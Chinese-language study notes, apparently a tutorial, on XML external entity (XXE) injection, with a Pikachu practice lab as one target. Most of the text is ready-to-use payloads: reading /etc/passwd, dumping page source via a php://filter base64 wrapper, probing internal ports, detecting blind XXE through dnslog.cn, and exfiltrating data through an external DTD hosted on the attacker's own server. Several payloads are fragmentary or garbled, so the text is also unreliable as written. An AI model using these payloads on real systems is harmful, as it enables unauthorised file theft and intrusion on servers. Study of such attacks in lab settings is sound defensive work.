直接对服务器进行攻击的手段,XML外部(DTD)实体注入(XML文档,一种标签语言,作用是将数据,运行部分程序,对象,转换为xml格式存放,在别处调用时继续使用。有漏洞,可以写xml格式恶意代码让服务器执行。)
xml主要分为三部分
%aaa;
]>
抓包,增加以上代码,http地址写上dnslog.cn的地址
然年forward,刷新dnslog,有回应,有xxe漏洞。
xxe文件读取:
假如查passwd:
抓包
改为post(get也可以)
加入
<?xml version="1.0"?> <!ENTITY xxe SYSTEM "file:///etc/passwd">]>
&xxe;
放包。
爆当前页面源码:
需要base64编码。改动实体的值即可
“php://filter/read=convert.base64-encode/resource=index.php”
<?xml version="1.0"?> <!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=index.php">]>
&xxe;
之后
将64码解码即可。
pikachu xxe:
<?xml version = "1.0"?><!ENTITY f SYSTEM "file:///www/wwwroot/pikachu-master/liukun.txt">
]>&f;
<!ENTITY hacker "ESHLkangi">内网端口探测,应用程序攻击:
<?xml version="1.0"?> <!ENTITY xxe SYSTEM "http://120.78.92.198:8030">]>
&xxe;
端口如果存在,回显会很快,若不存在,则回显很慢或者无回显。
二:
<?xml version="1.0"?>]>
&test;Mikasa
截取回包,即可获得
的文件内容
如果没有回显:
只告诉结果,不报错时怎么办:
搭建网站新建dtd文件放在目录下,(在黑客自己的网站)编辑内容为
%payload;
引用dtd文件:
<?xml version="1.0"?> <!ENTITY % dtd SYSTEM "http://192.168.0.47/aaa.dtd">%dtd;
%send;
]>